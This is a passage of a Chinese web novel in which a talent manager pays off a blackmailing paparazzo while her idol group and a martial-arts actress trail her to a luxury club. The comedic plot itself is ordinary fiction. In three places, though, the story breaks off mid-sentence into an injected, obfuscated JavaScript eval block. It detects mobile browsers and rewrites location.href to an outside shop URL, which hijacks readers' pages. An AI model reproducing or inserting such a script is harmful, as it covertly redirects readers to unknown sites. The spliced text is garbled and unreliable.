路过摄影棚时,安声正在拍卫生巾的广告内容,奚亭云和萧子重则坐在一边的沙发上休息。 看她匆匆忙忙的样子,奚亭云侧过身,手伸过去搭在她的包包上,没用多大力便将人拦下。 他仰着头,有些依恋似的问:“你去哪里?” 宫欢垂眼,对上他黏糊的视线就浑身起鸡皮疙瘩,她一把将包抽走,半抱在怀里,有些凶地瞪他:“少管我,你们等下拍完之后自己回去,好好排舞,不准偷懒!” 她说着绕开奚亭云的手,边往外走,边拿出墨镜,帽子,口罩一一带上,一副神秘兮兮的模样。 萧子重看得直疑心,他挑眉搭话:“你说她一天天都在忙什么?” 奚亭云看人走远了,有些闷闷不乐:“可能是去拉资源了,毕竟我们现在人这么多,都需要分配资源。” “啧啧啧,”萧子重深以为然地摇头,“我看不一定,你知道她之前是在哪找到安声的吗?” 这些细节奚亭云倒不了解,他只知道宫欢去哪里都有自己的想法计划。 比如甘惊鸿,赵莉莉,如何签约,宫欢又怎么说服了她们,他全然不知。 唯一了解的也就是萧子重,宫欢是去看话剧的时候签下了他。 “不知道,”奚亭云说,“安声和你说了么?” 萧子重左右看看,煞有介事地悄声道:“她去了A市有名的那家酒吧,安声那时候在做驻唱舞者,好像还是比较——sex的那种……看不出来吧,小安平时一副乖乖样,人家私底下可会了,老奚,学着点。” 宫欢在酒吧找到的安声? 奚亭云的记忆一下闪回数日前,他到的那天,宫欢穿得明艳动人,很晚才回别墅。 隔天,安声就出现在了别墅门外,还亲了宫欢的脸。 他看得清清楚楚,一点都没遗漏。 难怪,安声一些过分亲昵的举动,宫欢从来不介意,只是淡然地应对。 她,喜欢热情野性的风格吗。 奚亭云不由得回想,他一系列的勾引举动。 宫欢的反应不大,有时候还会排斥地躲开他,似乎是很不喜。 有时奚亭云会在事情过后反省,是不是动作太过油腻,冒犯。 所以宫欢才会躲躲闪闪,连看也很少看他几眼。 越想情绪越糟,奚亭云眉头微拧,声音也冷了些:“是啊,确实应该多学习一下。” 旁边接二连三的咔嚓声结束,摄影师朝安声说:“可以休息会,等下拍其他镜头。” 安声一无所知地走来,坐在沙发上喝水,眼神四处张望:“欢姐呢?” “全副武装地走了,”萧子重夸张地说,“墨镜帽子全戴上了,感觉是去做什么见不得人的事情。” 两人你一句我一句,越说越离谱。 奚亭云似是沉不住气,最后猛地站起身,两人不明觉厉地看向他,他说:“去找她。” 萧子重乐得看戏:“今天应该没什么要拍的了,走走走。” 安声不明所以:“找欢姐做什么啊?” 萧子重往更衣室走,露出个痞笑:“看她在搞什么猫腻啊。” 73. 敲诈勒索1 换回常服,三人来到录音棚所在的广告公司外。 入夜,路灯一盏盏亮起,周围大楼外侧的超大电子显示屏上,正播着前段时间当红明星的彩妆广告,画面里的镜头接连变换,显出些迷幻奢靡的色彩。 奚亭云一时有些恍惚。 他低下头,手做了个抓握的动作,来确认此刻是否是真实的。 这么快,他们就接到了代言,好像一切都非常顺利,堪称一步登天。 很多时候奚亭云都有种漂浮感,像是一只气球,飘飘晃晃,虽然有根绳子做固定,可还是摇摇晃晃,一点都不稳。 “我们去哪儿找欢姐?” 安声四处看了看,没发现宫欢的车。 离她走的那会过了十来分钟,要找人早就晚了。 “问得好,”萧子重耸肩,目光往远处瞄,“我们现在连车尾气都看不见了,干脆放弃,回家好了。” 奚亭云回过神来,他坚持道:“她一个人这么晚出去,你们就不担心吗?” “不担心。” “不担心啊。” 两人异口同声。 萧子重夸张地抬手摸摸手臂:“你是没被宫欢打过,她手劲一看就不是吃素长大的,担心她都多余了。” “我虽然没被欢姐打过,但是被她拎过,”安声非常同意萧子重的说法,他两手比划着,“那次她一下就把我拎起来了!超厉害!” 奚亭云默了默。 本以为他们打不过关清英是正常现象,毕竟人家是专门练过格斗武术的演员。 可他们现在的战斗力都不足以保护宫欢——奚亭云决定一回去就将武术方面的训练加入日常计划。 “你们回去吧,我自己去找她。”奚亭云说。 萧子重讶异:“你一个人去找她?我都怕你被她拐走卖了。不行,兄弟绝对不会让这件事发生在你身上,我跟你一起,够意思吧。” 安声睁着无辜大眼睛,看了两人片刻后,忽然问:“那么,我们要怎么去找欢姐呢?” 三人:“......” 他们继续站在原地,看了看远处拥挤堵塞的马路,车流来来往往,压根不知道宫欢去了哪个方向。 - 别墅,后花园。 “呼——吸——” 穿着一身白缎练功服的赵莉莉双腿稳扎地面,一手缓慢地往回旋,一手往外推,她面容沉静,心如止水,带动着身后的关清英进入练功状态。 关清英也穿着身运动装,她手长腿长,即使扎着马步,也比前面的人高出一截。 她闭眼,随着赵莉莉的指令呼吸,吐气。 “白、鹤、踏、波。”赵莉莉吐字缓慢,动作也极慢地切换成鹤形姿势。 两人正在专注地练长寿功,放在一边石桌上的手机铃铃铃地响起,一下打断了两人的状态。 赵莉莉破了功,拧着眉,气汹汹地看向手机那边。 “抱歉,是我的。”关清英收势,走到石桌旁,屏幕没有来电显示,她接通手机贴在耳边,“你好。” “英子!组织需要你的帮助!!” 关清英耳力极好,一下听出了这是萧子重的声音,之前在剧组时两人好像留过电话。 “萧子重,给我打电话有什么事?” 萧子重大概是开了免提,手机那边有旁人的声音:“我们就是有个忙想麻烦你一下,你能帮忙查一下——宫欢的车现在在哪里吗?” 关清英微微皱眉:“查她的车?” 那边连忙你一言我一语的解释:“就是,我们和宫欢联系不上,也不知道她去哪儿了,我记得你之前好像在A市警局待过,有没有办法帮我们查一下她车的行驶轨迹?” 关清英沉默片刻,那边好像怕她不信,奚亭云补充道:“她离开的时候开了车,车牌号A7689。” “你们等我一下。” 关清英挂断电话,联系认识的警员,将车牌号报过去,不一会便查到了。 警员那边说:“查到了,这辆车正在往A市的郊区行驶,车速不快,车主为宫欢,女,26岁——” 没等警员说完,关清英打断道:“小李,不用跟我说这么多,我并不是警察,只是查一下朋友有没有失踪。” 似乎是信号不好,小李警员的声音隔着屏幕传来,有些失真:“别这么说,英姐,大家都非常认同你的编外身份,就算【重刑之下】的拍摄结束了,你也永远是我们的朋友,我们永远欢迎你回来。” “......”关清英沉默了下,语气软了几分,“我还有事要忙。” 小李警员应道:“哦哦,好,那你忙吧,有空记得回来玩啊,我们都可想你了。” 挂了电话,关清英怔了片刻。 发觉原本在练功的赵莉莉已经停了下来,正在专注地打量她。 “怎么?”关清英僵硬地问。 能做演员的人,对情绪的感知都异常敏感,何况是赵莉莉这种专业演员。 赵莉莉微偏着头,眼中带着些分辨不清的眸光,她人长得美,一举一动一颦一笑都像电影画面,在路灯下,面容轮廓不甚清晰。 柔柔的眼眉有朦胧的美,眸中带着像是心疼一样的情绪。 “英子,”她说,“我感觉,你有点难过。” 关清英有些怔愣,微张着唇,像是不知道该如何回话。 良久,她才扯着发涩的嗓音说:“我没事,我很好。” - 三人找了辆车,挨个坐了进去,发动车子,准备往关清英提供的定位位置开去。 手机通话还没挂,关清英像是命令般地说:“追踪车的时候不要太过明显,以防暴露自己,如果宫欢被绑架了及时报警,千万不要激怒歹徒,试探性地超车看看开车的是不是她本人......” “哦,好,明白!”安声拿着手机一声声答应。 萧子重在驾驶位发动车身,奚亭云则坐在副驾驶位,忽然问:“如果车的行驶方向变了,我们怎么追?” 萧子重停住踩油门的脚,反应过来:“对啊,英子发过来的只是定位,不是她最终的停车点。” “按照她目前的行驶速度,行驶方向,以及那边的路况来看——她能选择的只有两条路,而其中一条正在限速行驶,另外一条车流较多。”关清英条理清晰地分析道,“以宫欢的性格来看,她不像是会愿意久等的人,所以我比较倾向于,她会绕路行驶,而绕路则就有更多可参考的细节了——” 车内,三人目瞪口呆地互相看了看。 萧子重由衷地感叹:“你简直是天生当刑警的料子!” 安声羡慕不已:“英姐的一个脑子顶我们三个!” 萧子重听了直撇嘴:“能不能别拉踩!” 奚亭云对路况不熟,做不了这么详细的分析:“那我们现在——要往哪儿开?” 车内陷入沉默,关清英沉默。 末了,她问:“你们现在在哪?” - A市郊外。 宫欢将车刹停。 她带着足足有半张脸大的蝴蝶结墨镜,头与脸都用黑色围巾包裹起来,手上带着纯黑的蕾丝手套,走路也是猫悄着的。 她打开后车盖,下了车,来到后车厢,费力地将一大包钱拎下来,拖着钱来到短信所说的——郊区、野岭坡、黑色垃圾桶旁边。 “什么毛病,非要往垃圾桶里塞钱,我又不是没有支票!” 宫欢嫌弃地捏着鼻子,一只手掀开垃圾桶的盖子,按耐不住好奇心地往里探了一眼——干净的。 没有想象中的各种垃圾与气味,这是一个全新的垃圾桶,可她还是觉得自己闻到臭味了。 龇牙咧嘴地费力将钱抱起来,丢进垃圾桶便听见噗通一声响,沉闷的金钱声。 宫欢扔完钱拍拍手,将右手的蕾丝手套脱掉,像是觉得脏似的,扔到了另一边的垃圾桶里。 做完一切,她喘着气休息了会儿,刚拿起手机准备回复‘邪恶狗仔’,手机亮屏,一条短信进来。 不知名的邪恶狗仔:【为了防止宫大经纪人耍诈,地点临时改动,麻烦您去一趟这个地址——星会所,期待我们的交易。】 宫欢看见这条消息时,表情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126364|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 僵了一秒,瞬间裂开。 她当即给对面拨去一个电话,肚子里全是想骂人的冲动,也不管对面接不接电话,气得就骂: “给我接电话!你当我脾气很好吗?要钱就算了,还要我到处给你送,你当我是什么人非要上赶着给你送钱!?你算哪只天上掉下来的野猪,哼哼两声就卖上价钱了??” “嘟嘟嘟——您所拨打的电话无人接听,请稍后再拨......” 宫欢头上蹭蹭冒火,她编辑短信的手都是带着力度地狠摁:【你凭什么让我到处跑着给你送钱!】 信息还没发出去,对面似乎知道宫欢会生气,又发来了一条信息: 【我想,宫大经纪人不会想在第二天的娱乐头版上看见男团的绯闻,刚出道的男团就遇到这么大的重磅事件,还能火得起来吗?】 盯着这行字,宫欢又将火气咽了回去。 她闭上眼深呼吸,一本正经地用播音腔劝慰自己:“猪和人的思想不同,不要试图理解它们,我们之所以不同,是因为它们是动物,而我,是个正常人,我是正常人,正常人不和猪计较,正常人不跟猪生气——” 宫欢又走回垃圾桶旁,费力将那一大包钱倒了出来。 还好里面没垃圾,不然,她会弄死那邪恶狗仔。 拖拽着行李包,甩回后车厢。 宫欢发动车子,前往第二个地点。 她压着火,一只手带着黑手套,整个人看上去黑压压的,像是煞神。 不要让她知道这狗仔是谁,不然,宫欢绝对会把他吊在城墙上,路过的人打一鞭子就给一万块! - 发完那条短信,郑羽几乎能想象到宫欢气到扭曲的脸。 她将手机塞给狗仔,畅快地大笑:“哈哈哈哈,一想到她生气起来,横眉竖眼的包子脸,我就忍不住笑,哈哈哈哈哈——哎呀,宫欢,你也有今天。” 女人穿着造型浮夸的披肩大貂,快要入夏,她上身是吊带配披肩貂,下身则是宽松长裤,长长的美甲几乎有半根手指长。 郑羽挑起眉毛看向狗仔:“你做得很好,后面拿到了钱都是你的,我也会给你一部分酬劳。” ‘邪恶狗仔’是个光头圆脸的青年人,他笑得谄媚:“真是谢谢羽姐了,没您,我还真不敢跟宫欢对抗,真怕她用手段把我弄进去,还得是羽姐厉害,只有您才能治住她这么嚣张的人。” 郑羽抬手抚了抚头发,漫不经心地说:“还好吧,她也就是脾气差了点,性格差了点,资源差了点,人品差了点,嘴巴差了点,能力差了点,其他也没什么的。” 话虽说得风轻云淡,可只有郑羽知道,她有多恨。 TXT男团最近减少了许多商演活动,代言片约等等,都在避风头,还有处理陈闪闪‘玩咖’的各种传言言论。 但凑热闹的网友太多了,陈闪闪的‘荧光花脸’已经彻底传遍了一二三各个次元,就连现实里的一些从不关注娱乐八卦的人都知道这一笑点。 已经成了无法抹去的一颗油点。 郑羽那段时间意识到再怎么洗白都是无用功,只好让陈闪闪躺平任嘲,这是最好的应对方式。 期间,郑羽锲而不舍地利用热搜,舆论,别家粉丝炒热度,去黑宫欢以及她的男团。 但让郑羽没想到的是,宫欢竟然不惜拿自己当噱头,来给男团当垫脚石! ——她真是疯了! 郑羽以前只觉得宫欢是个炮仗,一点就炸,现在她对她却有些改观——她,手段颇深! 与狗仔合作,也是巧了。 郑羽得知宫欢与男团等人同住一处,只觉得这是个很好炒作的点。 潜规则这类八卦一出,宫欢怎么洗白,都容易引人遐想。 于是,郑羽找了狗仔,想让他们拍下一张宫欢与男团艺人举止亲密的私照。 没想到刚好找到这人,他说跟拍宫欢有段时间了,准备搞个大的,于是两人合谋,想出了这么一招。 郑羽拿起包,悠悠然离开这处废弃的摄影室。 她这次赢定了,郑羽就不信了,宫欢还能拿什么和她斗。 74. 敲诈勒索2 将车刹停在星会所门外。 宫欢给狗仔发去短信:【我到了,你人呢,别又给我耍花招,我没那么多耐心。】 发完后,她往靠背一歪,打量着这家星会所。 会所名字简单,里面却不一般。 星会所不知是哪几个业界人士联手所建的,许多新人素人都在这家会所工作过,里面常有金主与明星出没,算是比较纸醉金迷的一处娱乐场所。 宫欢曾经应酬时来过一次,这家会所的门槛要求较高,必须由老会员带着才能成为新会员,否则不能进入,事儿还挺多。 大晚上的被人耍了一道,宫欢有些烦躁。 好在狗仔没有让她等太久,回复消息:【进入会所,去999包厢,会有人和你交易。】 会有人和她交易? 这句内容有点不对劲,宫欢久经舆论场,一眼看出这言下之意。 车内,她的面容隐藏在黑丝巾下,但还是能从周身气息感觉出她的不爽。 宫欢:【怎么,您是多大的腕儿,交易都怕露面,连个脸都不露?我既然愿意花钱买你这些消息,就说明不会把你怎么样,要真想做点什么,你以为,你能从我这拿得到钱?】 一点交易的诚意都没有,宫欢就不乐意跟这种人做生意。 ......好像她现在是被勒索的那方。 那边没有多说,只是谨慎地回:【我们这些人做的就是躲躲藏藏的生意,宫大经纪人担待一下了。】 行吧。 宫欢不再多说,将手机朝一旁丢开,带上墨镜,推开车门—— - ——推开车门,三人率先下了车,关清英将车熄火后也跟着下来。 “是这儿吗?” 萧子重关上车门,看见几个带着墨镜,全副武装的人前后进了会所大门。 会所的招牌不太起眼,门也不如一般的会所那样浮夸,以各种金色的装潢点缀,堪比皇宫,这家会所的门看起来就像普通酒店的门。 萧子重怀疑地问:“刚才不知道跑到哪个野鬼坡去了,现在又说在这里?真的没弄错吗?” 安声纠正道:“是,叶岭坡。” “哦......”萧子重应道,“有区别吗?荒无人烟,阴气森森,反正不是人去的地方。” 奚亭云在叶岭坡那边时,紧皱的眉头就没松开过,这时更是担忧不已:“她为什么绕这么大一圈,会不会真出事了,我们报警——” 奚亭云拿出手机就想拨号,被关清英一把抽走,她解释道: “现在还不确定宫欢是否失踪,我建议不要轻举妄动,也不要给她打电话,万一她现在正处在危险时机,我们打电话非常容易破坏她的自救计划。” 关清英将小李警员发来的轨迹追踪图给三人看了眼: “她的车一直在行驶中,被几台电子眼记录拍摄了下来,虽然包裹得很严实,但基本可以确定是她本人——宫欢的人身安全你可以放心。” 奚亭云慌了阵脚,全身心都被宫欢牵扯着:“那她到底为什么这么晚开车去郊外,还往这里来......” 萧子重嘴里没个把门的,故意夸大情况:“说不定,她根本没遇到危险,反而是她——在做什么奇怪的事情。我说老奚,你别把她看得太好,宫欢不是好人,我早就说了,你还不信。” 奚亭云已经陷入了自己的思绪中。 “我们不要乱了,”关清英镇静地看了看几人,“她的车停在了这里,目前没有移动,说明她人有很大概率进入了这家会所,至于原因,我们尚不了解,不要轻易下定论。” 最后那句话就是在点萧子重。 自从上次三人被关清英一一制服过后,三人多少都对关清英有些敬畏。 而除此之外,主要是关清英身上有种让人信服的气质。 她说话条理清晰,不随便说话,说出来便是经过思考、可信的话,很少开玩笑,也很少和大家一起玩闹。 在众人眼中,她更像是个冷静的大姐头。 萧子重熄了火,对关清英的话没意见,他转头看向星会所:“那我们现在要怎么做,进去吗?” 关清英看了眼奚亭云。 她从来了之后,就感觉到奚亭云对宫欢的情绪不太一般,不像是朋友间的关心与担忧,更像是有些过度的——在意,担心,害怕。 “想找到她的话,只有进去看看了。” 关清英是看着奚亭云说的这句话。 奚亭云注意到关清英的态度,他没有丝毫犹豫地点头:“去!” 说着奚亭云就要闷头往星会所冲,被萧子重拉住,他上下扫了扫奚亭云:“你不会打算就这么进去吧??刚才进去的那些人个个都不简单,我看有几个好像还是哪个娱乐公司的老总,这里面普通人进不去。” “那怎么办?”奚亭云皱眉,“总不能干等她出来。” 关清英看了眼会所附近的一家造型工作室,她有了办法:“跟我走。” - 星会所内部。 金碧辉煌的大厅内只有零星几位客人,个个穿着低调,可仔细看去——每件都是高定,最不济的也是大牌。 大厅中央的一架水晶钢琴旁,坐着一位穿着晚礼服弹奏的音乐家,是最近比较出名的钢琴师,来往的工作人员个个男帅女美,说话走动的仪态堪比舞蹈生。 如此高大奢华的会所,突然走入了四位穿着打扮夸张的客人。 众人不由得纷纷望去——其中三位客人穿着大貂,颈间带着手指粗细的金链子,头发油亮,被发胶固定得如同钢针般坚硬,走路更是外八的大跨步,头高高昂起,像是要去斗鸡。 三人旁边,则是穿着一身灰麻色中山装的短发女人。 她带着墨镜,面色严肃,双手在身前交叠握拳,站姿挺拔,行走间气势汹汹。 前台人员都看懵了,尤其是当短发女人走到了前台旁,几个女孩都有点犯怵:“您,您好,星会所欢迎您。” 萧子重走在三人的最前面,他演起土大款来得心应手,将腋下夹着的皮包“啪”得放在前台上,打开皮包拿出一沓钱,拍在大理石桌面上。 接着旁边的安声连忙拿出烟,抽出一支尊敬地递给萧子重,他非常适应角色地说:“哥,抽烟。” “嗯。” 萧子重叼着烟,奚亭云又凑上来给他点火,烟点燃,萧子重嘬着烟吸了一口,慢吞吞地吐出去,高傲又庸俗地问:“你们这都有什么玩的啊?” 前台几个小姑娘互相使眼色,心里直嘀咕,又是哪里来的土大款。 其中一人礼貌微笑:“先生您好,我们这里是会员制会所,需要有一位老会员介绍才可入会哦,您有认识的朋友在吗?” “没有,他们都在拉萨那边,”萧子重又抽了口雪茄,油腻轻浮的目光带着些浑浊,一张嘴油腔滑调的,“国内没啥好玩的,刚才也是路过,看你们这不错想来玩玩,怎么还要老会员带啊,这么费劲,我玩一回不就是老会员了。” “不就是钱的事儿吗,”萧子重又从皮包里掏出几沓钱,压在之前那沓钱上,几沓钱摞在一起足有旁边的蟾蜍风水摆件高,“钱给够,让我进去见识见识你们这有多牛逼。” 说着,萧子重半俯身靠在前台桌面上,露出油腻浮夸的笑容,好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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关清英摘掉墨镜放进中山服的外衣口袋中,一本正经道:“因为他们打不过我。” “你打得过他们?”奚亭云被拉起来后拍拍衣服上尘土,他诧异道,“为什么不跟他们打起来,我们好趁乱混进去。” 关清英将三人一一拉起来,语气自然地说:“不在公共场合寻衅滋事是每个公民应尽的职责——打架不好。” “苍天啊!”萧子重欲哭无泪,“都这时候了你还要遵循这些,我看我们还是打道回府吧,谁都别想进去了,人家里面要会员才给进,我含泪砸了几万都不答应,说明他们很严格。” 反复挫败的滋味令奚亭云有些烦躁,他捏着眉心:“还有别的办法吗?难道只能在这里等她出来,那就不知道要等到什么时候了。” 几人唉声叹气,关清英抬头将会所的建筑范围看了一圈,忽然道:“其实,还有办法。” 奚亭云追问:“是什么?” 萧子重:“别卖关子了,快说啊。” 关清英指了指正在外面送客的几个男模,又将手探入口袋中,拿出墨镜带上,镜片倒映出愣住的三人,她说:“伪装。” 没等三人反应过来,关清英便转身朝那几人走去,在三人的视线中—— 她放轻脚步走到最后那人的背后,抬手锁喉打晕放倒,一套熟练的动作。 接着是第二个,在剩下的三人反应过来后,关清英索性一跃而起,核心极好地停滞半空,两腿对照两人的脸部一踢,一腿放倒一个。 落地后,关清英又抬手一拳猛击最后一人的面部,将人打晕。 搞定,关清英利落地拉正衣服下摆,转身朝几人比了个OK的手势。 墨镜稳稳地架在她脸上,一点都没掉。 三人目瞪口呆。 萧子重:“强者如斯。” 奚亭云:“......什么时候能练到这种程度?” 安声:“英姐帅呆了!” 75. 敲诈勒索3 几人手忙脚乱地将男模们拖到隐蔽处,扒下衣服给自己换上,又去造型室重新化了妆。 再次走进星会所大厅,没有一点破绽。 安声穿的是深V的西服套装,浅金发色搭配较为艳丽的妆容,眼尾与脸上都带了几抹彩色的高光细闪,与之前在夜店的风格差不多。 大概是在夜店工作过的缘故,安声非常适应这个身份,比演土大款轻松得多。 进了门见前台们看他,还笑着丢了个媚眼过去。 几个女孩一下愣了,有几个脸红红,悄声道:“之前没见过这么好看的啊,好有魅力!!” “比之前那一批有气质多了!” 由安声带路,奚亭云与萧子重跟在他身后,降低存在感。 关清英本就是短发,脸型也偏英气硬朗,换上男装后不但不违和,反而更有风格。 她目不斜视地引导几人,正大光明地进入了后台旁边的一侧VIP通道。 等前台消失在视野后,几人提心吊胆的心堪堪落下。 萧子重扯了扯身上香味浓重刺鼻的衣服,嫌弃不已:“这衣服在香水里泡了多少天啊,这么浓。” 奚亭云的手脚则有些僵硬,不知是想到了宫欢来这会做些什么事,还是单纯不喜欢这身衣服。 安声的姿势自然,双手插兜转了一圈,非常快的进入了角色:“我觉得还好呀,挺合身的。” 人是进来了。不过,关清英巡视了一圈,这会所不小,要找起来还真是有点麻烦。 奚亭云同样也注意到问题所在:“这里面积不小,要怎么找?” 总不能一间间开门去试探。 关清英略作思索,很快给出一个办法:“去监控室,从监控里面找就快了。” “我也有个办法,”安声自告奋勇地举手,“我可以混进工作人员里面找人。” 几人看了看安声,都觉得他这个办法非常适合他本人。 关清英:“那就这样,我去监控室,你们三个先慢慢找一下,有消息随时通电话。” 三人应下,正准备去找人。 “等等,”关清英又喊住他们,她面不改色地说,“等下帮我找点酒。” 三人以为听错了。 萧子重结结巴巴地说:“找找找酒?你要酒做什么?” 安声略带谴责的眼神看她,仿佛在看不懂事的孩子:“英姐,现在是很严肃的时候。” “就是因为严肃,我才要喝酒。” 关清英解释,“我有个毛病,平时的时候工作能力比较一般,但是喝了酒之后,大脑思维和体力等等都会大幅度提升效率,等下看监控肯定需要时间,为了缩短找人的时间,我要喝酒,加快进度。” 奚亭云有些讶异。 萧子重不敢置信地摊手:“你的意思是,你能跟5个彪形大汉对打的状态还只是‘一般’??” 关清英点头,不卑不亢:“是这样。” 三人默默倒吸一口凉气。 奚亭云看了看萧子重,萧子重叫道:“别看我,找就找吧,那我们三个一边找人的同时,再给我们的关队长找酒喝——真够扯的。” 约定后,四人分头行动,关清英甚至还为此次行动命名为——【找宫欢小分队】。 星会所楼层足有30多层,关清英只在电梯里看了眼楼层排序,便很快确定了监控室的位置所在。 接着是奚亭云三人,每人分了10层楼去寻找。 星会所的内部装潢每10层分一种主题风格,工作人员分配的楼层不同,着装也会跟着变换。 安声乘坐电梯来到20层,电梯门“叮”得一声打开,他瞬间被眼前的景象惊住—— 整层楼打着昏暗迷彩紫的灯光,氛围十足的背景乐柔和慵懒,伴随着时不时的喘息声,听着就让人脸红心跳,俊男靓女们穿着各类深V、背部或腰部开叉的服饰,三三两两地打趣笑闹,香味四处飘散,门一开便让人目眩神晕。 但,来到这层的是安声。 电梯门完全开启后,他只惊讶了一瞬,便很快适应下来,挑挑眉走出来,往其他人那边看了两眼,自来熟地与一男模搭话:“哈喽,我是刚来的小安,你们好啊。” “新来的?”那男模上下扫了扫安声,他穿着打扮与气质非常适配这层的主题,也就没多想, “没听他们说今天有新人来啊,算了,你今天就充当气氛组吧。” “没问题。”安声兴冲冲地说,“这个我最熟练啦!” 简单混了个脸熟,安声没忘记任务,他装作认路一样,四处转悠,眼睛从一间间包厢略过。 找宫欢并不在安声的第一任务列表,10层楼上百间包厢,找人就像大海捞针。 安声的第一任务是——找酒。 让关清英喝了酒提高效率,从监控中找到人,比他们盲目的乱找快多了。 星会所里面的酒水价格基本都在10万往上,安声刚才看了看上个月工资,还不足一瓶酒钱,果断放弃掏钱买酒的想法。 安声想,找个空包厢,看看里面有没有没开的酒水,或者——蹭一杯酒,然后偷偷溜走,送去关清英那里。 安声眼神四处乱瞟,人也晃悠了一圈,正准备换个楼层继续去找。 身后的一间包厢门被打开,内里一下倾泻出喧闹的舞曲与推杯换盏声,一人眉头紧蹙地走出包厢,找到另一边站着的几个男模。 “哎,你们谁跳舞好看啊?”这人愁眉苦脸,“我唱歌还行,但是那位姐姐让我跳舞,还是难度非常高的那种,我刚才下腰的时候咔一下把腰闪了!!!哥们,救救场啊!” “不不不,我帮不了你,我跳舞也不行啊。” “跳不了跳不了,你那位要求高得很,伺候不来。” 这人快要哭了:“别啊,帮帮忙,我跟你们对半分钱,这姐得罪不了,她家里是做石油生意的!” 之前与安声打过招呼的那人推脱之时,一眼扫到准备悄悄离开的安声,顿时像是锁定住了目标:“诶——那个谁,新人!” 安声不知道别人在叫他,仍放轻脚步像是偷偷摸摸地往电梯的方向靠近—— “新人,那个谁来着,小安——” 这称呼一出,安声身体顿住,身后紧跟而来地便是一只手拍在他肩上。 安声转过头,一个男模露出八颗牙齿的微笑:“新人是吧,遇到我算你走运,我教教你怎么接待客人——你会跳舞吗?” 安声有点懵,眨了两下眼,总觉得面前这人的微笑不含好意,却只能顺着他说:“你想我会,还是不会?” 这男模笑着拍安声的背,啪啪啪直响:“哈哈哈说什么笑话呢真幽默,一看就是个遗落民间的舞蹈天才。” 男模话音一转:“天才,帮我个忙。”他指了指旁边的包厢,双手合十求道,“只要你能把里面那位哄高兴了,钱你七我三!” “七有多少?”安声好奇问道,他在宫欢这一月的薪资有五万,已经算是比较高的了。 没想到那位男模伸手比了个五,安声问:“五万?” “十五万。” 十五万!?? 安声的眼睛一下瞪大了,怎么比他之前在夜店跳舞赚的还要多啊!? - 20-30层是安声的搜寻范围,而10-19则就是萧子重的范围。 萧子重正一个喷嚏接着一个喷嚏的打。 “阿嚏!” 他嫌恶地皱紧眉,看了看周围—— 这层的工作人员穿着毛茸茸的服饰,头戴各种兽耳,身后也有不同的毛茸茸尾巴,有些甚至连手上都戴着爪套。地面铺着一层绒绒的毛毯,包厢都分类为不同的萌宠包厢。 ......有些包厢的门打开时,里面还会传出些喵喵汪汪的声音。 萧子重顿觉头痛,他两手摁在太阳穴上,青筋突突地跳。 不可能,不可能的事。 让他混入包厢去找人根本就不可能。 他扮过小丑、狼人、吸血鬼,演过梁山伯、罗密欧,也跑过龙套,日本鬼子还是西方间谍都做过,他不怕苦不怕累—— 但是,但是! “喵~”不远处一男模将脖颈上的链条放在客人手心里,侧过脸轻轻蹭动着客人的手。 做不到!! 萧子重猛然转身,像是慷慨赴死般地走过大半条走廊,正准备离开这一楼层时,看见角落有一间全透明玻璃隔开的酒房,里面琳琅满目的酒水摆满了三面墙,品种多不胜数。 萧子重黑沉的脸恢复过来,他若有所思,这不就是关清英想要的酒吗? 有酒,她看监控的速度肯定比他这样满场找人来得快。 打定主意,萧子重整了整衣襟,风姿飒爽地走进了酒房。 酒房侍者微笑服务:“先生您好,有什么可以为您服务的~” 萧子重双手插兜,衣服略紧的绷在身上,胸前衬衫的两颗纽扣之间被绷出小小的圆口——这衣服是男模身上扒下来的,这些人体型多数偏瘦。 相比之下,萧子重的体型 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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萧子重嫌弃的表情溢于言表,侍者微笑的脸慢慢拉了下去,他看出来了,这人就是来找存在感的。 “先生,”侍者说,“这酒是我们的创始人珍藏酒,价格与身价是相关联的哦。” 萧子重:“你是说我身价不够?” 侍者笑:“先生您不要多想,我只是向您介绍酒的珍贵原因,对了,购买酒水需要您说一下会员码哦,我会记在您的会员系统里面。” 萧子重哪有什么会员,他默默将酒放下,咳了一声,低声含糊不清地问:“你们这最便宜的酒是多少钱。” 侍者确定了,这人没钱,说话也就敷衍了些:“最低的在10万左右,这已经是我们这里最便宜的酒水了。” “哦,”萧子重点点头,他又将这瓶酒拿起来,装模作样地看,“啧,虽然差了点,不过也就凑合凑合吧,帮我拿上。” 似是没想到萧子重会买下这瓶酒,侍者愣了下,顿时喜笑颜开地绕到酒柜后:“以您的身价来看这瓶确实有点一般,我们还有‘金玉流粉’款香槟,非常适合开场的氛围酒,先生要试一下吗?” 侍者的手指向酒柜中放在正中央的一瓶香槟,酒中正有金色细闪的粉质在流动,看起来奢华至极。 “不用了,再多拿不完。”萧子重含糊了句。 “什么?”侍者没听清。 “没事,”萧子重说,“就这瓶,算在我的会员系统里吧,我的会员是——” 两人之间隔着透明的酒柜,上方摆放着一台电脑,一般高级会员都无需报会员号。 正在侍者点开操作系统准备搜索萧子重的会员号时,他没注意到,面前拿着酒的客人脚步慢慢往外挪动,一点点地挪…… 萧子重大气都不敢出,身体看似没动,实则腿已经往外迈出了大半步,待他的腿触及到自动开合的感应门时,他迅速转身,一个闪身出了门—— 速度快到侍者抬头正准备问话,眼前只余一道残影,和空中嚣张洒脱的余音:“劳资一分都不会给!” 侍者当即傻在原地,没想到居然有这种事情发生。 这么的......弱智。 这人以为星会所是什么地方,居然做出抢酒这种让人无语的事情。 他默默拿起对讲机,非常淡定地向安保室说:“保安,10层有人抢酒,请尽快把他逮住。” “保安室收到——什么——!??” “没错,他抢了酒房价值25万的珍藏酒,刚跑出酒房。” “滋滋——滋啦。” 